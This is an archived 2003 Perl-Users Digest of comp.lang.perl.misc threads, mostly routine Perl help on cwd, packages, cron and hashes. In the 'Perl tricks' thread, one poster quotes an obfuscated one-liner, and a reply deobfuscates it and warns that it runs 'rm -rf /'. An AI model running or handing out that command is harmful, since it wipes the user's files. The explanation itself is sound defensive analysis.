[23345] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 5564 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Fri Sep 26 03:05:49 2003

Date: Fri, 26 Sep 2003 00:05:12 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Fri, 26 Sep 2003     Volume: 10 Number: 5564

Today's topics:
    Re: () questions <pne-news-20030926@newton.digitalspace.net>
    Re: accessing Hash of Arrays <tore@aursand.no>
    Re: accessing Hash of Arrays <phddas@yahoo.com>
        Another CRON question <notspam@spamfree.dud>
    Re: Another CRON question <jurgenex@hotmail.com>
    Re: Another CRON question <notspam@spamfree.dud>
    Re: Another CRON question <nospam@bigpond.com>
    Re: Checking if a file exists within @INC <kalinabears@iinet.net.au>
    Re: favicon.ico and perl <mbear@uq.net.au>
    Re: favicon.ico and perl <mijn_postbak@msn.com>
    Re: getcwd or similar <amoroder@sb-brixen.[nospam]it>
        Help; Pattern Matching (MJS)
    Re: Mapping characters in a string (Alfred von Campe)
    Re: Mapping characters in a string <uri@stemsystems.com>
    Re: packages (Jay Tilton)
    Re: packages <x12code-del@del-yahoo.com>
    Re: Perl Par built exe, sometimes it runs, sometimes it <kalinabears@iinet.net.au>
    Re: Perl tricks (Jay Tilton)
        Perlish way to get absolute path of current working dir <bwaNOlSPtAMon@rochester.rr.com>
    Re: Perlish way to get absolute path of current working <jurgenex@hotmail.com>
    Re: Perlish way to get absolute path of current working <usenet@dwall.fastmail.fm>
    Re: Perlish way to get absolute path of current working <shondell@cis.ohio-state.edu>
    Re: Perlish way to get absolute path of current working <minceme@start.no>
    Re: Perlish way to get absolute path of current working <usenet@dwall.fastmail.fm>
    Re: Perlish way to get absolute path of current working <jurgenex@hotmail.com>
    Re: Perlish way to get absolute path of current working <jurgenex@hotmail.com>
    Re: Silly question...move up a directory... <me@privacy.net>
    Re: Student needs help with CGI.pm (I think) <gwschenk"remove this"@socal.rr.com>
        vnode in perl (dipu bhaskar)
    Re: XS/XSUB FAQs? Tutorials? <ict@eh.org>
    Re:  <bwalton@rochester.rr.com>
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Fri, 26 Sep 2003 06:57:58 +0200
From: Philip Newton <pne-news-20030926@newton.digitalspace.net>
Subject: Re: () questions
Message-Id: <djh7nvsrg11hqsb9vue778u6e6btos3pfc@4ax.com>

On 22 Sep 2003 09:25:15 GMT, Abigail <abigail@abigail.nl> wrote:

> Matija Papec (mpapec@yahoo.com) wrote on MMMDCLXXIII September MCMXCIII
> in <URL:news:a5irmv8autq78mgo8vl9e0h0lc7din88ll@4ax.com>:
> ][  
> ][  2) how to grok this expression, what exactly perl does here?
> ][  
> ][  my $count = () = $data =~ /match/g;
> 
> Perl does a little strange here. It matches /match/ against $data,
> repeatedly, and, because it's in list context, it returns a list
> of the matches (since there are no parens in /match/).
> 
> But the list itself is in scalar context. Now, we all like to chant
> that there are no lists in scalar context, but this one is. And
> apparently, a list in scalar context returns the number of elements
> in the list.

The way I interpret it, it's not a *list* in scalar context, but a *list
assignment* in scalar context.

> However, I doubt this is documented.

It's in perlvar:

       List assignment in scalar context returns the number of
       elements produced by the expression on the right side of
       the assignment:

Newer versions even have, after that, a little bit about how this
applies to code like

           $count = () = $string =~ /\d+/g;

(the example in perlvar that belongs to the explanation).

It's basically an extension of the fact that "$count = (($foo, $bar) =
localtime;" puts 9 into $count, even though only two values were
assigned, since nine values were on the right-hand side of the
assignment.

Cheers,
Philip
-- 
Philip Newton <nospam.newton@gmx.li>
That really is my address; no need to remove anything to reply.
If you're not part of the solution, you're part of the precipitate.


------------------------------

Date: Fri, 26 Sep 2003 00:56:20 +0200
From: Tore Aursand <tore@aursand.no>
Subject: Re: accessing Hash of Arrays
Message-Id: <pan.2003.09.25.19.37.02.382709@aursand.no>

On Fri, 26 Sep 2003 05:17:58 +1000, John wrote:
> my %table;

my %table = (); # Personal favourite :-)

> while (<DATA>) {
>     my @line =  split(/\s+/);
>     my @row;
>     for my $i (1 .. $#line) { push (@row, $line[$i]) };
>     $table{$line[0]} = \@row;
> }

Totally untested:

  while ( <DATA> ) {
      chomp;
      my @columns = split( /\s+/ );
      $table{ shift(@columns) } = \@columns;
  }


-- 
Tore Aursand <tore@aursand.no>


------------------------------

Date: Fri, 26 Sep 2003 15:51:02 +1000
From: JohnWalter <phddas@yahoo.com>
Subject: Re: accessing Hash of Arrays
Message-Id: <3F73D3C6.6050806@yahoo.com>

Steven Kuo wrote:
> On Fri, 26 Sep 2003, John wrote:
> 
> 
>>Hello
>>
>>I have a little problem while trying to build a Hash of Arrays from a 
>>data file.
>>I need to have the first column used as keys and the rest of the columns 
>>as values in an array.
>>you are welcome to give me another version to do the task, but I realy 
>>need to know why this code below don't work for my own learning.
>>
>>thanks
>>
>>my %table;
>>  while (<DATA>) {
>>     my @line =  split(/\s+/);
>>     my @row;
>>     for my $i (1 .. $#line) { push (@row, $line[$i]) };
>>     $table{$line[0]} = \@row;
>>}
>>DB<4> p %table
>>   a_keyARRAY(0x82f21a8)
>>DB<5> p @{$table{a_key}}
>>   it prints nothing here. why? where is that ARRAY(0x82f21a8)
>>DB<6>
>>
>>is it because my @row clears up the memory in each loop? so it gets 
>>erased. but my break point is at the line '$table{$line[0]} = \@row;'
>>
>>
> 
> 
> 
> 
> It works for me:
> 
> 14      __DATA__
>   DB<1> b 10
>   DB<2> r
> main::(myt.pl:10):          $table{$line[0]} = \@row;                                                  
>   DB<2> p %table
> 
>   DB<3> r
> main::(myt.pl:10):          $table{$line[0]} = \@row;                                                  
>   DB<3> p %table
> keyARRAY(0x1f8280)
> 
>   DB<4> p @{$table{key}}
> value1value2value3
> 
> 
> If you don't like the appearance of 'p %table', try 'x \%table':
> 
> 
>   DB<5> x \%table    
> 0  HASH(0xfc618)
>    'key' => ARRAY(0x1f8280)
>       0  'value1'
>       1  'value2'
>       2  'value3'
> 
> 
> The "ARRAY" part is just the array reference that you store as the
> value corresponding to a key.  It doesn't appear hierarchically when
> you use 'p %table' because...
> 
> from 'perldoc perlsub':
> 
>      The Perl model for function call and return values is
>      simple: all functions are passed as parameters one single
>      flat list of scalars, and all functions likewise return to
>      their caller one single flat list of scalars.  Any arrays or
>      hashes in these call and return lists will collapse, losing
>      their identities--but you may always use pass-by-reference
>      instead to avoid this.  Both call and return lists may
>      contain as many or as few scalar elements as you'd like.
> 
> 
> Note that the break point at a line stops execution *before* the line
> (hence my second the second time around at the break point to display
> data). 
> 
> 
> Other critiques:
> 
> Splitting on /\s+/ will preserve leading empty fields if your line
> begins with whitespace.  You may want to use the default split
> instead.
> 
> I think this is probably what you want:
> 
> while (<DATA>) {
>     my ($key, @row) = split;
>     $table{$key} = [ @row ]; 
> 
>     # is subtly different than $table{$key} = \@row
>     # depending on what you do with @row, if anything, below
>     # this line
> 
> 
> }
> 
> 

thanks for all the comments.
my code as below, I can do $lineno++ to apply a code to only the first 
line inorder to put the column headings in an array on it's own. but 
maybe some of you know how to avoid this 'maybe expensive' process.

while (<DATA>) {
	@column_header = split(/s+/); <- this is not correct, only needed at the 
first line.
	my ($key, @values) = split;
	$table{$key} = \@values;
}



------------------------------

Date: Fri, 26 Sep 2003 02:59:26 GMT
From: Sean O'Dwyer <notspam@spamfree.dud>
Subject: Another CRON question
Message-Id: <notspam-AA02F6.23050825092003@news-server.nyc.rr.com>

Can I pass a variable to a Perl script via cron? It seems not from the 
following error message...

/bin/sh: line 1: /cgi-bin/script2.cgi?action=call_a_routine: No such 
file or directory



In my crontab I have...


MAILTO="my@emailaddress.net"
HOME="/cgi-bin/"
*/5 * * * * /cgi-bin/script1.cgi
*/3 * * * * /cgi-bin/script2.cgi?action=call_a_routine


 ...is this just daft?



The action variable is parsed by a subroutine which then figures out 
which routine to call: if ($action eq "call_a_routine") {&call_that_baby}

Solution would be to move the routines I want to call into their own 
script and simply call that new script by cron. Yeah?

Ideally, for project mangement purposes, I'd like them all in the same 
script, with some routines triggered via http, some called by cron. But 
maybe that's asking too much....?

TIA,

Sean


------------------------------

Date: Fri, 26 Sep 2003 03:10:51 GMT
From: "Jürgen Exner" <jurgenex@hotmail.com>
Subject: Re: Another CRON question
Message-Id: <%6Ocb.6719$FH3.4144@nwrddc02.gnilink.net>

Sean O'Dwyer wrote:
> Can I pass a variable to a Perl script via cron?

What do you mean by "passing a variable"?
Passing an argument aka parameter aka option aka ...?

> It seems not from the
> following error message...
>
> /bin/sh: line 1: /cgi-bin/script2.cgi?action=call_a_routine: No such
> file or directory

Well, does the file with the name
"/cgi-bin/script2.cgi?action=call_a_routine" exist?

Oh, by the way: this command does not contain any parameter.
Maybe you meant something like
    /cgi-bin/script2.cgi -action call_a_routine

> In my crontab I have...
[...]
> */3 * * * * /cgi-bin/script2.cgi?action=call_a_routine

Well, again, there is no parameter here, just a funny looking and very long
file name

> The action variable is parsed by a subroutine which then figures out
> which routine to call: if ($action eq "call_a_routine")
> {&call_that_baby}

Ok, so you are asking about parameters/options/arguments/...

jue




------------------------------

Date: Fri, 26 Sep 2003 03:17:02 GMT
From: Sean O'Dwyer <notspam@spamfree.dud>
Subject: Re: Another CRON question
Message-Id: <notspam-AD4B94.23224625092003@news-server.nyc.rr.com>

Sorry, my terminology seems to be way off.

I'm used to calling scripts via http and getting the script to run a 
certain subroutine based on the data I send it. I'm trying to do the 
same by cron. I've fallen back to my "just put it in a separate script" 
plan, but I'm curious to know if there's a way to do it as I'd prefer.

Kind regards,

Sean


------------------------------

Date: Fri, 26 Sep 2003 15:21:30 +1000
From: Gregory Toomey <nospam@bigpond.com>
Subject: Re: Another CRON question
Message-Id: <46287417.zzDfez0vNh@gregs-web-hosting-and-pickle-farming>

It was a dark and stormy night, and Sean O'Dwyer managed to scribble:

> Can I pass a variable to a Perl script via cron? It seems not from the
> following error message...
> 
> /bin/sh: line 1: /cgi-bin/script2.cgi?action=call_a_routine: No such
> file or directory
> 
> 
> 
> In my crontab I have...
> 
> 
> MAILTO="my@emailaddress.net"
> HOME="/cgi-bin/"
> */5 * * * * /cgi-bin/script1.cgi
> */3 * * * * /cgi-bin/script2.cgi?action=call_a_routine
> 
> 
> ...is this just daft?

Yes. You probably need

HOME="/fully/qualified/path/cgi-bin/"

Also, I'm not sure why use use */5 and */3.


gtoomey


------------------------------

Date: Fri, 26 Sep 2003 14:36:12 +1000
From: Sisyphus <kalinabears@iinet.net.au>
Subject: Re: Checking if a file exists within @INC
Message-Id: <3f73c2f0$0$23593$5a62ac22@freenews.iinet.net.au>

Paul Burton wrote:
> I'm using the "do" function to read in a system configuration file 
> (which is just another perl script). "do" will search for the file using 
> the @INC path list.
> 
> The name of the file which is read is supplied by the user, so there is 
> the potential that the specified file doesn't exist.
> 
> Although I can put a check around the "do" statement to generate an 
> error and crash out, I'd really like to do this check at the top of the 
> program, where I'm checking all the user inputs are correct.
> 
> However, at this point I don't want to execute the "do". What I want is 
> a function which will search through the @INC directories and return an 
> error if the specified file is not found there, or the name of the first 
> directory matched otherwise.
> 
> Of course I could write my own to do this. But, I figure that all the 
> functions which use @INC (do, use, require etc.) must have to do 
> something like this already, so I thought there would be something 
> available to me to let me do this.
> 
> But, I can't find this. Can someone point me to something suitable, or 
> will I have to write my own?
> 
> TIA
> 
> Paul.
> 

Something like:

use warnings;
eval{ require 'some_file.ext' };
if($@) {
    if($@ =~ /Can't locate/i) { print "File not found" }
    }

If, for example, the file gets found, but fails to return a true value, 
then $@ gets set to a relevant error message - so you need to know that 
$@ is, in fact, reporting that the file aint there. Afaik, that regex is 
sufficient to establish that fact.

Cheers,
Rob



------------------------------

Date: Fri, 26 Sep 2003 10:46:10 +1000
From: Matthew Braid <mbear@uq.net.au>
Subject: Re: favicon.ico and perl
Message-Id: <bl028i$tdv$1@bunyip.cc.uq.edu.au>

Arjen wrote:
> Hi,
> 
> I want to use a favicon.ico in a perl-script. So when the perl-script is
> called the icon appears in the address bar of the browser.
> When I put <link rel="icon" href="favicon.ico" type="image/x-icon"> within
> the outputted html, it doesn't work.
> 
> May be someone has suggestions ?
> 
> Thx,
> 
> Arjen
> 
> 

If you're using IE you've got to remember that IE only uses favicons if 
you actually make the page a favourite (ie it appears somewhere in the 
Favorites menu). It'll be ignored otherwise.

Note this is for given versions of IE. I reserve the right not to go 
figure out which versions :)

MB



------------------------------

Date: Fri, 26 Sep 2003 08:19:58 +0200
From: "Arjen" <mijn_postbak@msn.com>
Subject: Re: favicon.ico and perl
Message-Id: <3f73da8f$0$10003$e4fe514c@dreader5.news.xs4all.nl>


> If you're using IE you've got to remember that IE only uses favicons if
> you actually make the page a favourite (ie it appears somewhere in the
> Favorites menu). It'll be ignored otherwise.
>
> Note this is for given versions of IE. I reserve the right not to go
> figure out which versions :)

Thank you for your comments. I tried it with other browsers also and IE is
the only browser where it doesn't work :-( I thouht that especially with IE
it should work...

But now I know it !

Thankls again,

Arjen




------------------------------

Date: Fri, 26 Sep 2003 08:00:39 +0200
From: Andreas Moroder <amoroder@sb-brixen.[nospam]it>
Subject: Re: getcwd or similar
Message-Id: <bl0ktl$de0$1@news.flashnet.it>

D Borland schrieb:
> "Andreas Moroder" <amoroder@sb-brixen.[nospam]it> wrote in message
> news:bkv0bo$vd4$1@news.flashnet.it...
> 
>>Hello if I start a perl script with a relative path e.g
>>mydir/myscirpt.pl while I am in opt then getcwd return the path /opt
>>
>>Is there a way in perl to get the directory where the script really is
>>(opt/mydir ) ?
>>
>>Thanks
>>Andreas
>>
> 
> 
> I think you can use FindBin for this,
> 
> use FindBin '$Bin';
> 
> print "$Bin\n";           # prints directory where script is located
> 
> Dagmar
> 
> 
> ---
> This e-mail has been virus scanned and is certified virus Free.
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.521 / Virus Database: 319 - Release Date: 9/24/03
> 
> 
Hello Dagmar

thank you for your help
Andreas



------------------------------

Date: 25 Sep 2003 23:58:06 -0700
From: tabletdesktop@yahoo.com (MJS)
Subject: Help; Pattern Matching
Message-Id: <f0171209.0309252258.5853ea0f@posting.google.com>

The following is what I have and I can't figure out how to do it. I
read faq and I don't get the output what I intent to. I am having
difficulties with proper indentation and white/blank lines.

User has to enter an integer. Depending on that, the pattern should be
repeated the number of times the user specified. Everytime the pattern
is repeated, there should be an increament somewhere in the pattern.
The output is stored in a file.

For example: the exact pattern with the spaces is 
            
            "Can someone help
                        me with
            

                 problem number1 =>  "

This pattern should be replaced by
             "This is 
     solution  


number         1, <= "

             "This is 
     solution  


number         2, <= "

and so on depending on the user input.
========================================================
use strict;
my $number;
my $pattern;
my $replace;
# data.txt is the file containing the text pattern
open(OUTPUT,"> result.txt") or die("Couldn't open data.txt :$!");

print "Please enter a positive integer for Address  = ";
chomp( my $number = <STDIN> );

if ($number =~ tr/1-9// != length ($number))  { 
   print "You did not enter an interger"; 
}

else {
     $pattern=~/Can someone help
                        me with
            

                 problem number1 =>/;

     $replace=~/"This is 
     solution  


number        /;
        while(<OUTPUT>){    
          for (my $n=1; $n<=$number; $n++){
          s/$pattern/$replace."$n". '<='/gsm;
          }
        }
} 
close(OUTPUT);
======================================


------------------------------

Date: 25 Sep 2003 21:22:06 -0700
From: alfred@110.net (Alfred von Campe)
Subject: Re: Mapping characters in a string
Message-Id: <4d599f95.0309252022.281a57fc@posting.google.com>

Uri Guttman <uri@stemsystems.com> wrote:

> you should have stated that with the original problem. note that you got
> two answers (abigail's any my slightly incorrect one) but do you
> understand how they work? please don't cut and paste them and not know
> why they work. that would be antithetical to this group's goals

Mea culpa (on the original problem statement).  I did use Abigail's
solution and modified it slightly.  I didn't understand it at first,
but I do now (after disecting it from right to left).

Thanks to all for your help,
Alfred


------------------------------

Date: Fri, 26 Sep 2003 04:28:01 GMT
From: Uri Guttman <uri@stemsystems.com>
Subject: Re: Mapping characters in a string
Message-Id: <x7y8wc6uni.fsf@mail.sysarch.com>

>>>>> "AvC" == Alfred von Campe <alfred@110.net> writes:

  AvC> Uri Guttman <uri@stemsystems.com> wrote:
  >> you should have stated that with the original problem. note that you got
  >> two answers (abigail's any my slightly incorrect one) but do you
  >> understand how they work? please don't cut and paste them and not know
  >> why they work. that would be antithetical to this group's goals

  AvC> Mea culpa (on the original problem statement).  I did use Abigail's
  AvC> solution and modified it slightly.  I didn't understand it at first,
  AvC> but I do now (after disecting it from right to left).

then show us your modifications. anything generally interesting? or was
is just to your taste?

uri

-- 
Uri Guttman  ------  uri@stemsystems.com  -------- http://www.stemsystems.com
--Perl Consulting, Stem Development, Systems Architecture, Design and Coding-
Search or Offer Perl Jobs  ----------------------------  http://jobs.perl.org
Damian Conway Class in Boston - Sept 2003 -- http://www.stemsystems.com/class


------------------------------

Date: Thu, 25 Sep 2003 22:06:31 GMT
From: tiltonj@erols.com (Jay Tilton)
Subject: Re: packages
Message-Id: <3f734570.38779146@news.erols.com>

David McDivitt <x12code-del@del-yahoo.com> wrote:

: >From: David McDivitt <david-del@del-nonspiritual.com>
: >
: >I am having difficulty understanding packages. I made a package, and
: >figured out how to make variables visible to modules using it without
: >qualifying with the package name, but exposing package subroutines the
: >same way is a bit confusing. I read several things. I do not understand
: >export syntax and how to set that up. Would someone please post an
: >example package having one routine called "init", and make the init
: >routine visible to any module using it without having to say
: >PACKAGENAME::init() in that module. Thanks
: 
: Below is how I resolved my problem. If I find my own answer I like to put my
: own answer back in the forum.

Very nice.  Not a behavior that needs excusing.

: In the modules using this package I give two
: lines:
: 
:    use DGM;
:    my @ISA = qw(DGM);

That doesn't do what you think it does.  @ISA must be a package variable
for inheritance to work.

   our @ISA = qw(DGM);

But that only makes sense if DGM.pm is a class you wish to inherit from.
If it's a class, why should it be exporting symbols?

: I got confused with the export stuff and did not understand what was going
: on. I had however read about @ISA when reading about classes. It seems
: placing "use export" 

"use Exporter;"

: in the package does nothing more than avoid one extra
: line of code in the main application, but ends up pulling in another whole
: module, too.

Well, that's not a very good reason not to use Exporter.pm .
The modules that get loaded are small, and if your app achieves any kind
of complexity, they're probably already being loaded by some other
module your code requires.

A good reason not to use Exporter.pm would be that it simply can't do
what you want.  In this case, it's perfectly suited to the task.

Getting basic functionality from Exporter.pm is dead simple.

    require Exporter;
    our @ISA = 'Exporter';
    our @EXPORT = qw($foo @bar %baz &qux);

: It was the "use export" which confused me, and I thought it was
: a necessary thing.

Not necessary, but it's very easy to use once its function is
understood.

: With what I have, two variables are made visible to the
: main application without having to qualify with package name, and all
: functions are visible.

Visible in main:: , yes.  And if main:: is not the package where the
use() occurred, main:: gets the extra baggage instead of the package
that asked for it.

Exporter.pm , on the other hand, exports symbols to the package where
the use() occurrs.  Even better, the programmer can control which
symbols get exported without altering the module at all.



------------------------------

Date: Thu, 25 Sep 2003 17:10:56 -0500
From: David McDivitt <x12code-del@del-yahoo.com>
Subject: Re: packages
Message-Id: <a9p6nvg2k0a5ltapnb0l3667dofvt43dn6@4ax.com>

Yeah I looked and did not see Exporter in CGI. But I'm frustrated and am
having problems anyway. Maybe I'll use a one character package name so it
doesn't take much typing to qualify everywhere, and forget class stuff :)

The application works fine. I started on another application and wanted to
reuse some of the code. So I thought it would be a good opportunity to
understand packages and use them. I was using require statements in each of
the main modules, referencing a PL file. I decided to make a PM file
instead. Much trial and error is involved. No better way to learn things
though.

>From: Steve Grazzini <grazz@pobox.com>
>Subject: Re: packages
>Date: Thu, 25 Sep 2003 21:31:15 GMT
>
>Steve Grazzini <grazz@pobox.com> wrote:
>> And since you said that doing it this way avoids pulling in another 
>> whole module: Exporter is ALREADY LOADED!  (By CGI.pm.) 
>
>Okay, this is not actually the case.  In fact, CGI says that it
>doesn't use Exporter for reasons of "execution speed" -- but I 
>still think it's better to be slow than incorrect, and that
>Exporter is not really so slow, and that constantly reinventing
>Exporter will eventually lead to *more* bloat, not less.
>
>Sigh.



------------------------------

Date: Fri, 26 Sep 2003 14:10:52 +1000
From: Sisyphus <kalinabears@iinet.net.au>
Subject: Re: Perl Par built exe, sometimes it runs, sometimes it doesn't
Message-Id: <3f73bd00$0$23598$5a62ac22@freenews.iinet.net.au>

Jesse Schoch wrote:
> I have a client that i wrote and built into a .exe with pp.  I have
> tested it on Win2k, WinXP, Win98, WinME, but for some reason on WinNT
> 4.0 SP3 and SP6a it sometimes runs, and sometimes does not.
> 
> The perl58.dll I uses is from the tiny perl distribution, I have tried
> the active state dll with no change in behavior, it doesn't even throw
> an error when it decides not to run, it takes about 3 tries, and then
> it will run fine, no problem, but if i re-run it will crap out with no
> error whatsoever.
> 
> Any Ideas on how I might troubleshoot this?
> 

I assume the script was compiled with warnings enabled ?

Try inserting some print statements at various (relevant) points in the 
script.

My guess is that the exe runs, but is sometimes hanging at some point. 
Once you've identified that "point" (courtesy of the print statements) 
you might be able to sort it out.

(Not very sophisticated :-)

Cheers,
Rob









------------------------------

Date: Thu, 25 Sep 2003 22:07:15 GMT
From: tiltonj@erols.com (Jay Tilton)
Subject: Re: Perl tricks
Message-Id: <3f7366eb.47351860@news.erols.com>

Andrei Koulik <ak-n@agk.nnov.ru> wrote:

: Can anybody explain me how this command deletes files:
: perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" 
: -;;s;;$_;see'

Start by running it through the Deparse backend to get rid of some
obfuscating elements, then add some whitespace for readability.

    $? ? s/;s/s;;$?/
       : s//=]=>%-{<-|}<&|`{/ ;

That puts the string "=]=>%-{<-|}<&|`{" into $_ .

Beyond extra obfuscation, I don't know what "s/;s/s;;$?/" could have to
do with anything--I don't know of a circumstance where $? would hold a
true value when the program starts execution.

    tr ( -/:-@[-`{-})
       [`-{/" \-] ;

That alters the characters in $_.
If you print it now, it will read 'system"rm -rf /"' .

    s//do { $_ };/see ;

That's just a hairy way of saying "eval $_" .

So were you aware of the code's malicious nature before running it, or
did something terrible happen?



------------------------------

Date: Fri, 26 Sep 2003 03:07:15 GMT
From: Bob Walton <bwaNOlSPtAMon@rochester.rr.com>
Subject: Perlish way to get absolute path of current working directory?
Message-Id: <3F73AD14.1000208@rochester.rr.com>

Is there a Perlish non-OS-dependent way to get the absolute path of the 
current working directory of a Perl program?  Thanks.
-- 
Bob Walton



------------------------------

Date: Fri, 26 Sep 2003 03:13:06 GMT
From: "Jürgen Exner" <jurgenex@hotmail.com>
Subject: Re: Perlish way to get absolute path of current working directory?
Message-Id: <69Ocb.6721$FH3.581@nwrddc02.gnilink.net>

Bob Walton wrote:
> Is there a Perlish non-OS-dependent way to get the absolute path of
> the current working directory of a Perl program?

Has been answered several times in the last two days:

    perldoc Cwd

jue




------------------------------

Date: Fri, 26 Sep 2003 03:15:34 -0000
From: "David K. Wall" <usenet@dwall.fastmail.fm>
Subject: Re: Perlish way to get absolute path of current working directory?
Message-Id: <Xns9401EC9B121CCdkwwashere@216.168.3.30>

Bob Walton <bwaNOlSPtAMon@rochester.rr.com> wrote:

> Is there a Perlish non-OS-dependent way to get the absolute path of the 
> current working directory of a Perl program?  Thanks.

use FindBin;


------------------------------

Date: 25 Sep 2003 23:16:35 -0400
From: Ryan Shondell <shondell@cis.ohio-state.edu>
Subject: Re: Perlish way to get absolute path of current working directory?
Message-Id: <xcwptho44to.fsf@psi.cis.ohio-state.edu>

Bob Walton <bwaNOlSPtAMon@rochester.rr.com> writes:

> Is there a Perlish non-OS-dependent way to get the absolute path of
> the current working directory of a Perl program?  Thanks.

use Cwd;

my $dir = cwd;

-- 
perl -e '$;=q,BllpZllla_nNanfc]^h_rpF,;@;=split//,
$;;$^R.=--$=*ord for split//,$~;sub _{for(1..4){$=
=shift;$=--if$=!=4;while($=){print chr(ord($;[$%])
+shift);$%++;$=--;}print " ";}}_(split//,$^R);q;;'


------------------------------

Date: Fri, 26 Sep 2003 03:19:23 +0000 (UTC)
From: Vlad Tepes <minceme@start.no>
Subject: Re: Perlish way to get absolute path of current working directory?
Message-Id: <bl0b7r$dre$1@troll.powertech.no>

On the CCLXIX'th day of the MMIII'rd year, Bob Walton spoketh:

> Is there a Perlish non-OS-dependent way to get the absolute path of
> the current working directory of a Perl program?  Thanks.

    use Cwd;
    my $dir = getcwd;

-- 
                                                (,_    ,_,    _,)
                                                /|\`\._( )_./'/|\
                                               · ·  \/ L /\ D  · ·
                                              /__|.-'`-\_/-`'-.|__\
                                             `          "          `


------------------------------

Date: Fri, 26 Sep 2003 03:21:41 -0000
From: "David K. Wall" <usenet@dwall.fastmail.fm>
Subject: Re: Perlish way to get absolute path of current working directory?
Message-Id: <Xns9401EDA4A9AFDdkwwashere@216.168.3.30>

"Jürgen Exner" <jurgenex@hotmail.com> wrote:

> Bob Walton wrote:
>> Is there a Perlish non-OS-dependent way to get the absolute path of
>> the current working directory of a Perl program?
> 
> Has been answered several times in the last two days:
> 
>     perldoc Cwd
> 

Ok.  Why not FindBin?


------------------------------

Date: Fri, 26 Sep 2003 03:29:35 GMT
From: "Jürgen Exner" <jurgenex@hotmail.com>
Subject: Re: Perlish way to get absolute path of current working directory?
Message-Id: <zoOcb.6737$FH3.5836@nwrddc02.gnilink.net>

David K. Wall wrote:
> Bob Walton <bwaNOlSPtAMon@rochester.rr.com> wrote:
>
>> Is there a Perlish non-OS-dependent way to get the absolute path of
>> the current working directory of a Perl program?  Thanks.
>
> use FindBin;

The OP was explicitely asking for the current working directory.
Exactly which function or variable in FindBin does provide this information?

jue




------------------------------

Date: Fri, 26 Sep 2003 03:31:43 GMT
From: "Jürgen Exner" <jurgenex@hotmail.com>
Subject: Re: Perlish way to get absolute path of current working directory?
Message-Id: <zqOcb.6739$FH3.1113@nwrddc02.gnilink.net>

David K. Wall wrote:
> "Jürgen Exner" <jurgenex@hotmail.com> wrote:
>
>> Bob Walton wrote:
>>> Is there a Perlish non-OS-dependent way to get the absolute path of
>>> the current working directory of a Perl program?
>>
>> Has been answered several times in the last two days:
>>
>>     perldoc Cwd
>
> Ok.  Why not FindBin?

Because FindBin does not provide any information about the current working
directory?

jue




------------------------------

Date: Fri, 26 Sep 2003 18:50:42 +1200
From: "Peter Sundstrom" <me@privacy.net>
Subject: Re: Silly question...move up a directory...
Message-Id: <bl0nhj$6okif$1@ID-172104.news.uni-berlin.de>


"John" <none@none.com> wrote in message
news:OLBcb.122662$bo1.37088@news-server.bigpond.net.au...
> Sorry, but how does one move up a directory ?
>
> I'm in a directory from which I called a script. Part of the script
> functionality is checking the permissions of the directory I am in. I may
> need to change the directory permissions depending on what they are.
Hence,
> I need to be able to move up [and possibly down] one level of the
directory
> tree.
>
> chdir? Something like cd .. would be nice

BING!  You have earned yourself an entry in the Perl SAQ :-)

http://www.ginini.com/perlsaq.html




------------------------------

Date: Thu, 25 Sep 2003 23:51:44 GMT
From: Gary Schenk <gwschenk"remove this"@socal.rr.com>
Subject: Re: Student needs help with CGI.pm (I think)
Message-Id: <kcLcb.12275$5z.11219@twister.socal.rr.com>

Eric J. Roode wrote:

<snip>
> 
> Which book are you using?  Lord knows there are enough bad Perl books out
> there.  :-/
> - --
> Eric
<snip>

"Writing CGI Applications with Perl". I've just started it, along with
"Learning Perl".

-- 
Gary Schenk


------------------------------

Date: 25 Sep 2003 21:54:11 -0700
From: bhdipu@yahoo.com (dipu bhaskar)
Subject: vnode in perl
Message-Id: <17c3ed23.0309252054.65a9547e@posting.google.com>

Hi

  Can anyBody tell me how to use vnode concept in perl and the main use of it.

Dipu


------------------------------

Date: 26 Sep 2003 14:10:36 +1000
From: Iain Truskett <ict@eh.org>
Subject: Re: XS/XSUB FAQs? Tutorials?
Message-Id: <slrnbn7fhq.ipm.ict@dellah.org>

* Jeff <jeffjackson@fairisaac.com>:
> I'm looking for documentation beyond the perlxs and perlXStut docs. 
> Is there anything else available.

"Extending and Embedding Perl", Simon Cozens and Tim Jenness.
    http://books.perl.org/book/147

See also: http://books.perl.org/category/20

[...]
> We have an existing C library (libxlate.so) that I would
> like to reference in a Perl utility that we use quite a
> bit. I want to create a Translate.pm module that my Perl
> utility can use to reference the library's functions. None
> of the examples talk about something like this. Does
> anyone have any suggestions?

I imagine h2xs will prove invaluable. Check it out.


cheers,
-- 
Iain.                                          <http://eh.org/~koschei/>


------------------------------

Date: Sat, 19 Jul 2003 01:59:56 GMT
From: Bob Walton <bwalton@rochester.rr.com>
Subject: Re: 
Message-Id: <3F18A600.3040306@rochester.rr.com>

Ron wrote:

> Tried this code get a server 500 error.
> 
> Anyone know what's wrong with it?
> 
> if $DayName eq "Select a Day" or $RouteName eq "Select A Route") {

(---^


>     dienice("Please use the back button on your browser to fill out the Day
> & Route fields.");
> }
 ...
> Ron

 ...
-- 
Bob Walton



------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 5564
***************************************


home help back first fref pref prev next nref lref last post